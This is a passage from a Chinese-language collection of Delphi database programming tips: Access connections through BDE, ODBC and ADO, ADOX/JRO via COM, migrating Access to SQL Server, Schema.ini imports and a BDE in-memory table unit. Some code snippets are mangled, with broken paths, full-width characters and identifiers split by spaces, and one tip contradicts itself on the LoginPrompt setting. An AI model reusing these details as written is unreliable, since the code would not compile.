except

on E:EOleException do

ShowMessage(E.Message);

end

finally

db:=Unassigned;

end;

end;

end.


ACCESS数据库不出现登陆界面
1、通过BDE

如果通过BDE，那么速度会快一些（相对ODBC），连接是需要DAO支持，具体方法是：

BDE-->Configuration-->Configuration-->Drivers-->Native-->MSACCESS-->DLL32

将DLL32的值设为IDDA3532.DLL；

然后可以直接引用了，举个例子：

BDE-->Databases-->Databases-->New-->从Database Driver Name中选择MSACCESS-->DATABASE NAME

将DATABASE NAME的值设为你自己的数据库即可

2、通过ODBC

打开控制面板，双击“32位 ODBC”图标，出现“ODBC 数据源管理器”对话窗口，然后单击“添加”按钮，出现“创建数据源”对话窗口，选择Microsoft Access Driver，然后单击完成，出现“ODBC Microsoft Access 97 安装”对话窗口。在“数据源名”文本框中输入数据库别名，“描述”文本框中输入相应的描述，然后单击“选取”按钮，选中系统的数据库，然后单击“确定”按钮即可完成

3、通过ADO

在设计阶段建立TADOConnection和TADODataSet控件，将TADODataSet控件的Connection属性设为TADOConnection，然后设置TADOConnection控件的ConnectionString属性即可连接。

具体方法：

单击ConnectionString对话框，选择Build...，单击下一步，然后可以根据你的实际情况连接！

经验：无论通过那种方法连接，都需要MDAC（含ODBC）及其相关连接库支持，通过BDE连接也需要DAO支持（不需要ODBC），不过可以在安装Office时选择。

最后说明的是每个人都关心的问题：怎样取消掉密码对话框？

无论通过BDE或ODBC，要取消密码都要建立TDatabase控件，设置AliasName，将LoginPrompt属性设为True，具体只是Params属性的参数不同

如果通过ODBC连接，那么要设置

USER NAME=yourname

PASSWORD=yourpass

如果通过BDE连接，那么要设置

Password=yourpass

不能混淆，否则出错！

至于别的在实际应用过程中的问题就不一一累述，需要注意的是：通过BDE连接不能辨认数据库的Procedures！

（1）首先，新建一个数据源，假设叫DSN_ACCESS,并配置参数，这个你应该会吧，我就不说了；

（2）然后，在FORM上放置一个TDATABASE控件，在其上双击，在弹出的窗口中，从Alias name下拉列表框中选择你需要的数据源，在其左边的name下拉列表框中写上同样的名字（最好另外起一个名字），然后点击右边的DEFAULTS按钮，然后将下边的复选框Login Pormpt设为FALSE。按OK按钮退出。

（3）将TABLE控件的DatabaseName属性设置为你刚才建的数据源名称（应该和刚才的对话框中name中的名称一致）。然后设置TABLE的TABLENAME属性。

OK，现在运行程序看看，还会出现登录数据库的窗体吗？


ADO连接有密码的Access数据库
ADO连接有密码的Access数据库：

ADOConn.ConnectionString:='Provider=Microsoft.Jet.OLEDB.4.0;Data Source='+ExtractFilePath(Application.ExeName)+'Data.mdb;Persist Security Info=False;Jet OLEDB:Database Password=12345';


使用COM扩充DELPHI数据库功能
使用COM扩充DELPHI数据库功能

--------------------------------------------------------------------------------

    Delphi是一个非常优秀的语言和开发环境，具有编译速度快、面向对象、全面支持Windows API、支持COM和强大的数据库支持，特别是在Delphi 5中增加了对ADO（Microsoft ActiveX Data Objects）的支持，使得Delphi程序员可以彻底摆脱BDE，缩小软件分发的体积。但是Delphi的ADO组件不支持ActiveX Data Objects Extensions for Data Definition Language and Security（ADOX、ADO的扩展，用于创建、修改和删除模式对象，如表格和过程；操作安全对象，可用于维护用户和组，以及授予和撤消对象的权限） 和Jet and Replication Objects（JRO，用于对Jet数据库引擎添加压缩、同步复制等特征），这些功能在开发Access数据库往往比较重要。不过由于ADOX、JRO乃至ADO都是基于COM（Component Object Model，组件对象模型）的，可以调用COM来来实现这些功能。下面我将讨论这方面问题，以此抛砖引玉，和大家共同研究。

    一、关于COM的一些基本概念。

    COM对象（COM object）是实现某一特殊功能的二进制代码，包括实现功能的一些方法，这些方法通过COM接口（COM interfaces）被访问。但是你不能直接访问COM接口，你可以通过COM类（COM class）来操作COM接口。

    二、引用ADOX和JRO。

    开发平台或客户端需要安装MDAC 2.1数据库引擎，你可以从微软公司http://www.microsoft.com/data下载，也可以在安装IE5.0中选择定制安装“动态数据绑定”选项。

    在Delphi IDE中选择菜单ProjectType Library，出现Import Type Library对话框，选择“Microsoft ADO Ext. 2.x for DDL and Security”，将Class Name中TTable改为TADOXTable(因为TTable组件在Delphi中已经存在并注册）；选择“Microsof Jet and Replication Object 2.x Library”。然后单击“Install”安装，便在Delphi的Imports目录下生成ADOX_TLB.pas和JRO_TLB.pas两个文件。在Unit文件的Uses中加入ComObj、ADOX_TLB、JRO_TLB，就可以通过COM操作ADOX和JRO对象了。

    打开ADOX_TLB.Pas文件，可以看到定义的接口有_Catalog、_Table、_Index等。

    建立一个接口对象主要有两种方法（以建立_Catalog的对象为例）：

    首先定义Catalog为接口_Catalog的类型。

    方法1.通过CreateComObject函数建立实例

    Catalog:=CreateComObject(Class_Catalog) as _Catalog;

    方法2.通过类来建立实例

     Catalog:=CoCatalog.create;其实两种方法原理是一样的。在Adox_TLB.pas中，CoCatalog是这样定义的：

    CoCatalog=class

    class function Create:_Catalog;

    ……

    class function CoCatalog.Create:_Catalog;

    begin

    Result:=CreateComObject(CLASS_Catalog) as _Catalog;

    end;

    建立了接口对象的实例后，就可以通过接口对象的属性、方法等实现一定的功能。关于ADOX和JRO的对象模型、属性和方法等，请读者自己参阅MDAC SDK或Access2000中的帮助文件，这里就不在重复了。

    三、使用ADOX和JRO的例子。

    建立一个工程项目，在Form1Uses中加入ComObj、ADOX_TLB、JRO_TLB，添加三个按钮：btnCreateDB和btnCompactDB，用于实现创建数据库、创建数据表和压缩数据库功能。

    1.创建数据库、数据表和索引。

    procedure TForm1.btnCreateDBClick(Sender:TObject);

    var

    Catalog:_Catalog;//定义为_Catalog的接口类型

    Table:_Table;

    Index:_Index;

    strCon:string;//定义连接字符串

    begin

    Catalog:=CreateComObject(Class－Catalog) as _Catalog;

    //建立Catalog实例，也可以用 Catalog:=CoCatalog.Create;

    strCon:='Provider=Microsoft.Jet.OleDB.4.0;'

    //通过Jet OleDb直接操作Access数据库

    ＋'Data Source=d:.mdb;'

    //数据库位置

    ＋'Jet OLEDB:Engine Type=5;'

    //Jet 4.x格式，如为4，则Jet 3.x格式

    ＋'Locale Identifier=0x0804;'

     //支持简体中文（一定要有）

    ＋'Jet OLEDB:Database Password=mypwd';

    //加入密码

    Catalog.Create(strCon); //建立数据库

    {建立数据表和索引}

    catalog._Set_ActiveConnection(strCon);

    //连接到数据库

    with Catalog do

    begin //建立数据表

    Table:=Create Com Object(Class－Table) as _Table; //建立Table实例

    with Table do

    begin

    Name:='Tel';

    Columns.Append('Name',adVarWChar,8);

    //数据类型详见MDAC SDK

    Columns.Append('Phone',adVarWchar,20);

    Index:=CreateComObject(Class_Index) as _Index; //建立索引

    with Index do

    begin

    Name:='MyIndex';

    Columns.Append('Name',adVarWchar,8);

    end;

    Indexes.Append(Index,EmptyParam);

    end;

    Tables.Append(Table);

    end;

    end;

    2.通过JRO压缩数据库

    procedure TForm1.btnCompactDBClick(Sender:TObject);

    var

    JetEngine:IJetEngine;

    strTagCon:string;//目标数据库连接字符串

    strSourceCon:string;//源数据库连接字符串

    begin

    JetEngine:=CoJetEngine.Create;

    strSourceCon:=

    'Provider=Microsoft.Jet.OleDB.4.0;'

    ＋'Data Source=d:.mdb;'

    ＋'Jet OLEDB:Engine Type=5;'

    ＋'Locale Identifier=0x0804;'

    ＋'Jet OLEDB:Database Password=mypwd';

    strTagCon:=

    'Provider=Microsoft.Jet.OleDB.4.0;'

    ＋'Data Source=d:.mdb;'

    ＋'Jet OLEDB:Engine Type=5;'

    ＋'Locale Identifier=0x0804;'

    ＋'Jet OLEDB:Database Password=mypwd';

    //可以以此改变数据库密码

    JetEngine.Compact Database(str Source Con,str TagCon);

    end;

    以上在Delphi5.0、ADO2.1下运行通过。

    感觉怎么样？对于VCL组件没有的，通过COM接口来实现（当然要基于COM的）是非常方便的。利用COM可以扩充Delphi组件不具有的功能，如果你有兴趣，还可以自己定制VCL组件让大家分享，那时别忘了通知我一声。 （合肥 黄先国）


ADOQuery查询进度
我一直没有做得满意！请教大家是怎么做的

比如

with adoquery1 do

begin

close;

sql.clear;

sql.add('select * from database');

open;

end;

这个过程怎么用进度条显示 ？

用ADOConnection连接数库

设置

adoquery1.executeoptions.eoasyncfetch := True;

adoquery1.CursorLocation :=clUserClient;

这样就可以在OnFetchProgress事件中取得以读入的记录条数了，用进度条显示就可以了


ADO连接SQL Server很慢？
温柔一刀 (2000-8-4 14:04:08)

看见这个问题老不结束，实在忍不住手痒痒，就自己动手进行试验，

没想到又是3分钟搞定 :-)，看来很easy呀！

关键问题在于CursorType，ADOConnection/Dataset/queyr/table缺省值都是clUseClient，

只要改成clUseServer，速度简直提高1000倍（对于离线数据库的letters），绝不比BDE慢，

CursorType具体说明看看help就可以了，虽然号称两种各有优劣，

但一般来讲用clUseServer应该是正确选择，没必要使用clUseClient。

所谓"水平"，其实也就是这么回事...


调用“数据链接属性”对话框
调用“数据链接属性”对话框？

可以使用UDL文件，UDL文件到打开方式是：

Rundll32.exe C:~1~1~1.dll,OpenDSLFile %1

uses ADODB;

然后使用函数：PromptDataSource即可，该函数原型如下：

uses

OleDb,ComObj,ActiveX;

function PromptDataSource(ParentHandle: THandle; InitialString: WideString): WideString;

var

DataInit: IDataInitialize;

DBPrompt: IDBPromptInitialize;

DataSource: IUnknown;

InitStr: PWideChar;

begin

Result := InitialString;

DataInit := CreateComObject(CLSID_DataLinks) as IDataInitialize;

if InitialString <> '' then

DataInit.GetDataSource(nil, CLSCTX_INPROC_SERVER,

PWideChar(InitialString), IUnknown, DataSource);

DBPrompt := CreateComObject(CLSID_DataLinks) as IDBPromptInitialize;

if Succeeded(DBPrompt.PromptDataSource(nil, ParentHandle,

DBPROMPTOPTIONS_PROPERTYSHEET, 0, nil, nil, IUnknown, DataSource)) then

begin

InitStr := nil;

DataInit.GetInitializationString(DataSource, True, InitStr);

Result := InitStr;

end;

end;


将Access数据库移植到Microsoft SQL Server 7.0

将Access数据库移植到Microsoft SQL Server 7.0

1999年2月

微软公司

摘要：本文描述了将Access数据库转换到SQL Server 数据库的过程和工具

简介

随着用户对于企业级高性能数据库的需求的增长，用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到Microsoft SQL Server的客户-服务器环境。Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和查询转移到SQL Server 7.0中。如果您用的是Access的较早的版本，您可以先将它升级为Access 2000，然后再使用其中的Upsizing Wizard，从而将您的应用移植到SQL Server中。

如果您并不太愿意采用Access 2000 和Upsizing Wizard来实现移植，本文可以作为将Access 2000移植到SQL Server的一个指南。转移一个Access上的应用首先需要将数据转移到SQL Server，然后将查询转移进数据库，或是转移为SQL文件以备稍后执行。最后要采取的步骤是移植应用程序。

数据库移植中用到的SQL Server 工具

SQL Server管理器（SQL Server Enterprise Manager）

SQL Server管理器 允许对SQL Server以及SQL Server中的对象进行企业级的配置和管理。SQL Server管理器提供一个强有力的scheduling引擎，高度的容错力和一个嵌入式的复制管理界面。使用SQL Server管理器可以实现以下功能：

管理连接和用户许可

创建脚本程序

管理SQL Server对象的备份

备份数据和事务处理日志

管理表、视图、存储过程、触发器、索引、规则、默认值以及用户定义的数据类型

建立全文本索引、数据库图表和数据库维护计划

输入和输出数据

转换数据

执行各种网络管理任务

在以Microsoft Windows NT为操作系统的计算机中，SQL Server Manager由SQL Server Setup进行安装，并被默认为服务器组件，而在运行着Windows NT 和Microsoft Windows 95的机器上，它将被默认为客户方组件。您将从SQL Server Manager的图形用户界面中启动数据转移服务（DTS，Data Transformation Services）。

数据转移服务（Data Transformation Services ，DTS)

数据转移服务允许您在多种异构数据源之间输入和输出数据，这些数据源采用基于数据库的OLE体系结构；或在使用SQL Server 7.0的多个计算机之间转移数据库和数据库对象；您还可以通过运用数据转移服务，更便捷地在一个在线事务处理系统（OLTP）中建立数据仓库和数据中心。

DTS Wizard允许您交互地创建DTS包，通过OLE DB和ODBC来输入、输出、验证和转移数据。DTS Wizard还允许您在关系型数据库之间拷贝图解（schema）和数据。

SQL Server 查询分析器（Query Analyzer）

SQL Server 查询分析器是一种图形化的查询工具，通过它您可以分析一个查询，同时执行多个查询，查看数据和获取索引建议。SQL Server 查询分析器提供了showplan选项，可用来显示SQL Server查询优化器所选择的数据提取方法。

SQL Server Profiler

SQL Server Profiler可以实时地捕获数据库服务器活动的连续记录。SQL Server Profiler允许您监控SQL Server产生的事件，过滤基于用户指定标准的事件，或将操作步骤输出到屏幕、文件或数据表。运用SQL Server Profiler，您可以重新执行所捕获的上一次操作。这种工具可以帮助应用程序开发者识别那些可能会降低应用程序性能的事务处理。在将一个基于文件体系结构的应用程序移植到客户/服务器结构中时该特性是很有用的，因为它的最后一步包括对面向新的客户/服务器环境的应用程序进行优化。

转移表和数据

使用DTS Wizard将您的Access数据转移到SQL Server，可采取以下步骤：

在 SQL Server Manager（Enterprise Manager）的工具菜单中，鼠标指向“Data Transformation Services”, 然后点击“Import Data.”

在“选择数据源”（ Choose a Data Source）的对话窗口中，选择Microsoft Access为数据源，然后输入您的．mdb文件名（mdb为文件扩展名）或者选择浏览文件。

在“选择数据目标”（Choose a Destination）的对话窗口中，选择“Microsoft OLE DB Provider for SQL Server”，再选择好数据库服务器，然后点击所需的认证模式。

在“指定表备份或查询”（ Specify Table Copy or Query）的对话窗口中，点击“拷贝表”（Copy tables）。

在“选择数据源”的对话窗口中，点击“选择所有项”（ Select All）。

移植Microsoft Access查询

您可以将Access的查询以下面的格式之一转移至SQL Server中：

事务处理SQL脚本程序（Transact-SQL scripts ）

事务处理SQL语句通常是由数据库程序调用的，但是您也可以使用SQL Server 7.0中包含的SQL Server 查询分析器直接运行它们。SQL Server 查询分析器可帮助开发者测试事务处理SQL语句，或运行那些执行查询处理、数据操作（插入，修改，删除）和数据定义（创建表）的事务处理SQL语句。

存储过程（Stored procedures ）

开发者可以将大部分产生自Access查询（查找，插入，修改，删除）的事务处理SQL语句转移至存储过程。用事务处理SQL语句书写的存储过程可以用来对您的数据存取打包，并使之标准化，而且存储过程实际上是存储在数据库中的。存储过程可以带参数，也可不带参数，可以由数据库程序调用或者由SQL Server查询分析器手动执行。

视图（Views ）

视图是从一个或多个表中显示特定的行和列的虚拟表。它们允许用户可以不直接执行构成查询基础的复杂连接而建立查询。视图不支持参数的使用。连接多个数据表的视图不能用INSERT, UPDATE或 DELETE语句来修改。视图由事务处理SQL语句调用，也可用于SQL Server查询分析器中运行的程序段。SQL Server视图和SQL-92标准不支持视图中的ORDER BY排序子句。如欲了解事务处理SQL，存储过程和视图的其他信息，请参阅SQL Server 在线参考书。

Access查询类型的SQL Server移植选择与建议

一个SELECT语句可以存储在事务处理SQL文件、存储过程或是视图中。建立存储过程是将数据库应用开发与数据库设计的物理实施分开的最佳方法。存储过程可在一处创建而由应用程序调用。

如果存储过程所基于的数据库变化了，而存储过程经过仔细的修改以反应这些变化，则对存储过程的调用将不会受到破坏。

交叉表（CROSSTAB）

交叉表经常用于总结报表。

一个Access的交叉表可以通过SQL程序段、存储过程或视图中的事务处理SQL语句来执行。每当发出一个查询时，数据连接被重现执行以确保最近的数据得到使用。

根据实际应用情况，比较合适的方法是将交叉表中的数据存储为一个临时表（参考下面的MAKE TABLE），临时表对资源的需求比较少，但是临时表在建立的同时只提供对数据的一个快照（snapshot）。

创建表（MAKE TABLE）

Access中的“MAKE TABLE”（ 创建表）可以通过事务处理SQL脚本程序或存储过程中的事务处理SQL语言的建表语句“CREATE TABLE”来执行。语法如下所示：

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

<select_list>

[ INTO new_table ]

[ FROM {<table_source>} [,…n] ]

[ WHERE <search_condition> ]

[ GROUP BY [ALL] group_by_expression [,…n]

[ WITH { CUBE | ROLLUP } ]

CREATE TABLE mytable (low int, high int)

UPDATE（修改）

UPDATE语句可以存储在事务_SQL脚本程序中，然而比较好地执行UPDATE语句的方法是创建一个存储过程。

APPEND（添加）

ALLEND语句可以存储在事务_SQL脚本程序中，然而比较好地执行APPEND语句的方法是创建一个存储过程。

移植Microsoft Access的查询到存储过程和视图

每个Access查询都必须用以下的一系列语句替换：

CREATE PROCEDURE <NAME_HERE> AS

< SELECT, UPDATE, DELETE, INSERT, CREATE TABLE statement from Microsoft Access >

GO

CREATE VIEW <NAME_HERE> AS

<Place (SELECT only, with no parameters) Microsoft Access Query>

GO

对每个Access查询应执行：

打开Access，然后在SQL Server中，打开SQL Server查询分析器。

在Access的数据库窗口中点击“Queries”tab键，然后点击“Design”按钮。

在“View”菜单上点击“SQL”按钮。

将整个查询粘贴到SQL Server查询分析器中。

测试语法，保存事务处理SQL语句以备后用，或者在数据库中执行这些语句。您可以选择将事务处理SQL语句保存到一段脚本程序中。

移植Microsoft Access查询到事务处理SQL语句

大部分的Access查询应该转换成存储过程和视图。然而，有一些应用程序开发者不太常用的语句可以存储为事务处理SQL脚本，一种以sql为文件扩展名的文本文件。 这些文件可以在SQL Server查询分析器中运行。

如果您打算将一些Access查询转换为sql文件的话，可以考虑根据它们使用的方式有区别地将这些事务处理SQL语句分别放在几个脚本程序中。例如，您可以将必须以同样频率运行的事务处理SQL语句归类到同一个脚本中。另一个脚本中则应包含所有只在某些条件下运行的事务处理SQL语句。此外，必须以一定顺序执行的事务处理SQL语句应当归类到一个不连续的脚本中。

将Access语句转移到事务处理SQL 文件

将语句拷贝到SQL Server查询分析器中

使用蓝色的多选项图标分析语句

在适当时候执行该语句

要执行Access中的创建表（MAKE TABLE）的查询任务的开发者在SQL Server中有几种选择。开发者可创建下列对象之一：

一个视图

视图具有动态的虚拟表的效果，可提供最近的信息。这是一个输入/输出强化器，因为每当发出一个查询时它都要求对数据表重现建立连接。

一个临时表

临时表为已连接的用户会话建立一个快照。您可以建立局部的或全局的临时表。局部临时表只在当前会话中可见，而全局临时表则在所有会话都是可见的。在局部临时表的名字前加上单个数字的前缀（(#table_name)），而在全局临时表的名字前加上两位数字的前缀(##table_name)。对临时表的查询执行起来非常快，因为它们取得一个结果集的时候通常只用一个表，而不是将多个表动态地连接在一起来。

如欲了解临时表的其他信息，请参阅SQL Server在线参考书。

SQL Server 7.0中的数据转换服务（DTS）允许您通过创建包来实现临时表建立的标准化、自动化和进度安排。例如，当您移植Access 2.0中的Northwind 范例数据库时，用于季度数据报表的交叉表可转变为一个视图或者一个可在规范基础上建立临时表的数据转换。如欲了解关于DTS的其他信息，请参阅SQL Server在线参考书。

其他设计上的考虑

下面是当您将您的Access应用移植到SQL Server时必须考虑的一些其他问题：

使用参数

带参数的SQL Server存储过程需要一种不同于Access查询的语法格式，例如：

Access 2.0格式：

查询名：Employee Sales By Country, in NWIND.mdb:

PARAMETERS [Beginning Date] DateTime, [Ending Date] DateTime;

SELECT Orders.[Order ID], [Last Name] & ", " & [First Name] AS Salesperson, Employees.Country, Orders.[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER JOIN [Order Subtotals] ON Orders.[Order ID] = [Order Subtotals].[Order ID]) ON Employees.[Employee ID] = Orders.[Employee ID]

WHERE (((Orders.[Shipped Date]) Between [Beginning Date] And [Ending Date]))

ORDER BY [Last Name] & ", " & [First Name], Employees.Country, Orders.[Shipped Date];

SQL Server 7.0格式：

CREATE PROCEDURE EMP_SALES_BY_COUNTRY

@BeginningDate datetime,

@EndingDate datetime

AS

SELECT Orders.[Order ID], [Last Name] + ", " + [First Name] AS Salesperson, Employees.Country,

Orders.[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER J


导入文本数据到Access的时候如何指定字段信息
导入文本数据到Access的时候如何指定字段信息

{ Kingron版权所有，未经授权不得转载 }

{ Copyright 2002.11.28 Kingron, All right reserved }

参考MSDN帮助主题：

ACC2000: Error When You Try to Use Schema.ini to Import or Export with the TransferText Method

TransferText

在导入数据的时候，有的时候，Access会把一些数据作为数值型的数据，实际上，我们需要作为字符型的数据，那么如何在导入的时候，指定导入的各种规格和细节呢？

答案是利用Schema.ini即可(导入/导出规格文件)。

有几种方式创建Schema，第一种是利用Access自身的文本数据导入导出向导：

在这个对话框中，点击[高级...]按钮，弹出对话框：

然后只要设定好各种格式，然后点击[另存为]保存即可。这种方式创建的Schema，只能集成在数据库中，无法灵活单独使用，因此我们需要用到另外一种方式：INI文件，推荐使用INI文件这种方式。

Schema.ini格式如下（参考：MSDN主题 Schema.ini File）：

Schema.ini用于提供文本数据中的记录规格信息。每个Schema.ini的条目用于指明表的5个特征之一：

文本文件名

文件名有方括号括起来，例如如果要对Sample.txt使用Schema，那么它的对应的Schema条目应该是

[Sample.txt]

文件格式

指令如下：

Format=Value

Value可以取下面的值之一：

TabDelimited 用Tab分隔

CSVDelimited 用逗号分隔

FixedLength 固定长度

Delimited(C) 指定字符，其中C可以为除了双引号(")外的任何字符，也可以为空

字段名、字段宽度和类型

格式为：Col n=字段名 数据类型 [width 宽度]

字段名可以是任意字符，如果字段名包含空格，请使用双引号括起来。

数据类型可以为：

Bit

Byte

Short(Integer)

Long

Currency

Single

Double(Float)

DateTime(Date DateFormat)

Text(Char)

Memo(LongChar)

其中DateFormat是日期的格式字符串例如：Date YYYY-MM-DD

字符集

格式：CharacterSet=ANSI | OEM

格式只有两种：ANSI和OEM

特殊数据类型转换

特殊数据类型转换一般使用的比较少，主要是自定义日期、货币等等的数据格式，一般不用理会。在此也不作详细叙述。请自己查看MSDN帮助：Schema.ini File

下面给出一个简单的例子，假设有一个表Contacts.txt类似下面：

First NameLast NameHireDate

Nancy Davolio 10-22-91

Robert King 10-23-91

那么Schema.ini个是类似下面的INI文件（我加了注释）：

[Contacts.txt] ///需要导入的文本文件名

ColNameHeader=True ///是否有数据头

Format=FixedLength ///字段固定长度

MaxScanRows=0 ///最多导入行

CharacterSet=OEM ///字符集

Col1="First Name" Char Width 10 ///第一列格式

Col2="Last Name" Char Width 9 ///第二列格式

Col3="HireDate" Date Width 8 ///第三列格式

////依此类推

我们可以根据数据自动创建这个Schema.ini文件！

注意，Schema.ini必须和需要导入的文本文件在同一目录！！！如果不在同一个目录，必须指定Schema.ini的全路径！

此后，我们就可以利用下面的语句来导入数据了：

DoCmd.TransferText acImportFixed, , "Contacts", "C:Documents.txt"

或者

DoCmd.TransferText acImportFixed, "C:Documents.ini", "Contacts", "C:Documents.txt"

翻译成Delphi的代码就是：

function ImportDataToAccess(AccDB,Table,Txt:string;Schema:string=''):Boolean;

var

AccessApp:Variant;

begin

AccessApp := CreateOleObject('Access.Application');

AccessApp.OpenCurrentDatabase(AccDB);

AccessApp.DoCmd.TransferText(acImportFixed,Schema,Table,Txt);

VarClear(AccessApp);

end;

下面给出TransferText的语法（摘自Access帮助）：

DoCmd.TransferText [TransferType][, SpecificationName], TableName, FileName[, HasFieldNames][, HtmlTableName][, CodePage]

TransferType 可选 AcTextTransferType。

AcTextTransferType 可以是下列 AcTextTransferType 常量之一：

acExportDelim

acExportFixed

acExportHTML

acExportMerge

acImportDelim 默认

acImportFixed

acImportHTML

acLinkDelim

acLinkFixed

acLinkHTML

如果将该参数留空，则采用默认常量 (acImportDelim)。

SpecificationName 可选 Variant 型。字符串表达式，表示在当前数据库中创建并保存的导入或导出规格的名称。对于固定长度的文本文件, 必须指定参数或使用 schema.ini 文件，该文件还必须保存在导入、链接或导出的文本文件的同一个文件夹中。若要创建一个方案文件, 可使用文本导入/导出向导创建此文件。对于分隔的文本文件和 Microsoft Word 邮件合并数据文件，可以将该参数留空，以便选择默认的导入/导出规格。

TableName 可选 Variant 型。字符串表达式，表示要向其导入文本数据、从中导出文本数据或链接文本数据的 Microsoft Access 表的名称，或者要将其结果导出到文本文件的 Microsoft Access 查询的名称。

FileName 可选 Variant 型。字符串表达式，表示要从中导入、导出到或链接到的文本文件的完整名称（包括路径）。

HasFieldNames 可选 Variant 型。使用 True (-1) 可以在导入、导出或链接时，使用文本文件中的第一行作为字段名。使用 False (0) 可以将文本文件中的第一行看成普通数据。如果将该参数留空，则采用默认值 (False)。该参数将被 Microsoft Word 邮件合并数据文件忽略，这些文件的第一行中必须包含字段名。

HTMLTableNam 可选 Variant 型。字符串表达式，表示要导入或链接的 HTML 文件中的表或列表的名称。除非 transfertype 参数设为 acImportHTML 或 acLinkHTML，否则该参数将被忽略。如果将该参数留空，则导入或链接 HTML 文件中的第一个表或列表。如果 HTML 文件中存在 <CAPTION> 标记，则 HTML 文件的表或列表名称取决于该标记指定的文本。如果没有 <CAPTION> 标记，则名称由 <TITLE> 标记指定的文本决定。如果有多个表或列表具有相同的名称，则 Microsoft Access 将通过给每个表或列表名称结尾添加一个数字，如“雇员1”和“雇员2”来区分它们。

CodePage 可选 Variant 型。Long 型值，用于标识代码页的字符集。


内存临时表
建立一个虚拟表（内存表）！！！！

警告：使用内存表可能导致数据丢失！作者不承担使用下面的代码而造成的任何损失的任何责任！

{

This is an InMemoryTable example. Free for anyone to use, modify and do

whatever else you wish.

Just like all things free it comes with no guarantees. I cannot be responsible

for any damage this code may cause. Let me repeat this:

WARNING! THIS CODE IS PROVIDED AS IS WITH NO GUARANTEES OF ANY KIND!

USE THIS AT YOUR OWN RISK - YOU ARE THE ONLY PERSON RESPONSIBLE FOR

ANY DAMAGE THIS CODE MAY CAUSE - YOU HAVE BEEN WARNED!

THANKS to Steve Garland <72700.2407@compuserve.com> for his help. He

created his own variation of an in-memory table component and I used it

to get started.

InMemory tables are a feature of the Borland Database Engine (BDE).

InMemory tables are created in RAM and deleted when you close them. They

are much faster and are very useful when you need fast operations on small

tables. This example uses the DbiCreateInMemoryTable DBE function call.

This object should work just like a regular table, except InMemory tables

do not support certain features (like referntial integrity, secondary

indexes and BLOBs) and currently this code doesn't do anything to

prevent you from trying to use them. You will probably get some error if

you try to create a memo field.

If you have comments - please contact me at INTERNET:grisha@mira.com

Happy hacking!

Gregory Trubetskoy

http://www.mira.com/home/grisha

}

unit Inmem;

interface

uses DBTables, WinTypes, WinProcs, DBITypes, DBIProcs, DB, SysUtils;

type TInMemoryTable = class(TTable)

private

hCursor: hDBICur;

procedure EncodeFieldDesc(var FieldDesc: FLDDesc;

const Name: string; DataType: TFieldType; Size: Word);

function CreateHandle: HDBICur; override;

public

procedure CreateTable;

end;

implementation

{ luckely this function is virtual - so I could override it. In the original

VCL code for TTable this function actually opens the table - but since

we already have the handle to the table - we just return it }

function TInMemoryTable.CreateHandle;

begin

Result := hCursor;

end;

{ This function is cut-and-pasted from the VCL source code. I had to do this

because it is declared private in the TTable component so I had no access

to it from here. }

procedure TInMemoryTable.EncodeFieldDesc(var FieldDesc: FLDDesc;

const Name: string; DataType: TFieldType; Size: Word);

const

TypeMap: array[TFieldType] of Byte = (

fldUNKNOWN, fldZSTRING, fldINT16, fldINT32, fldUINT16, fldBOOL,

fldFLOAT, fldFLOAT, fldBCD, fldDATE, fldTIME, fldTIMESTAMP, fldBYTES,

fldVARBYTES, fldBLOB, fldBLOB, fldBLOB);

begin

with FieldDesc do

begin

AnsiToNative(Locale, Name, szName, SizeOf(szName) - 1);

iFldType := TypeMap[DataType];

case DataType of

ftString, ftBytes, ftVarBytes, ftBlob, ftMemo, ftGraphic:

iUnits1 := Size;

ftBCD:

begin

iUnits1 := 32;

iUnits2 := Size;

end;

end;

case DataType of

ftCurrency:

iSubType := fldstMONEY;

ftBlob:

iSubType := fldstBINARY;

ftMemo:

iSubType := fldstMEMO;

ftGraphic:

iSubType := fldstGRAPHIC;

end;

end;

end;

{ This is where all the fun happens. I copied this function from the VCL source

and then changed it to use DbiCreateInMemoryTable instead of DbiCreateTable.

Since InMemory tables do not support Indexes - I took all of the index-related

things out }

procedure TInMemoryTable.CreateTable;

var

I: Integer;

pFieldDesc: pFLDDesc;

szTblName: DBITBLNAME;

iFields: Word;

Dogs: pfldDesc;

begin

CheckInactive;

if FieldDefs.Count = 0 then

for I := 0 to FieldCount - 1 do

with Fields[I] do

if not Calculated then

FieldDefs.Add(FieldName, DataType, Size, Required);

pFieldDesc := nil;

SetDBFlag(dbfTable, True);

try

AnsiToNative(Locale, TableName, szTblName, SizeOf(szTblName) - 1);

iFields := FieldDefs.Count;

pFieldDesc := AllocMem(iFields * SizeOf(FLDDesc));

for I := 0 to FieldDefs.Count - 1 do

with FieldDefs[I] do

begin

EncodeFieldDesc(PFieldDescList(pFieldDesc)^[I], Name,

DataType, Size);

end;

{ the driver type is nil = logical fields }

Check(DbiTranslateRecordStructure(nil, iFields, pFieldDesc,

nil, nil, pFieldDesc));

{ here we go - this is where hCursor gets its value }

Check(DbiCreateInMemTable(DBHandle, szTblName, iFields, pFieldDesc, hCursor));

finally

if pFieldDesc <> nil then FreeMem(pFieldDesc, iFields * SizeOf(FLDDesc));

SetDBFlag(dbfTable, False);

end;

end;

end.


根据一个表生成一个空的表结构
下面的代码演示了如何利用一个已有的表生成一个新的表结构！原来的可以有数据，生成的新的表是空的！

uses DB, DBTables, StdCtrls;

procedure TForm1.Button1Click(Sender: TObject);

var

tSource, TDest: TTable;

begin

TSource := TTable.create(self);

with TSource do begin

DatabaseName := 'dbdemos';

TableName := 'customer.db';

open;

end;

TDest := TTable.create(self);

with TDest do begin

DatabaseName := 'dbdemos';

TableName := 'MyNewTbl.db';

FieldDefs.Assign(TSource.FieldDefs);

IndexDefs.Assign(TSource.IndexDefs);

CreateTable;

end;

TSource.close;

end;


数据集返回到数组中
procedure TForm1.Button1Click(Sender: TObject);

const

AStr = 'The %s is of the %s category and its length is %f in.';

var

VarArr: Variant;

F: Double;

begin

VarArr := VarArrayCreate([0, 2], varVariant);

VarArr := Table1['Common_Name;Category;Length_In'];

F := VarArr[2];

ShowMessage(Format(AStr, [VarArr[0], VarArr[1], F]));

end;


Tbatch组件完成数据批处理
在Delphi中利用Tbatch组件完成数据批处理

整理编辑：ChinaASP

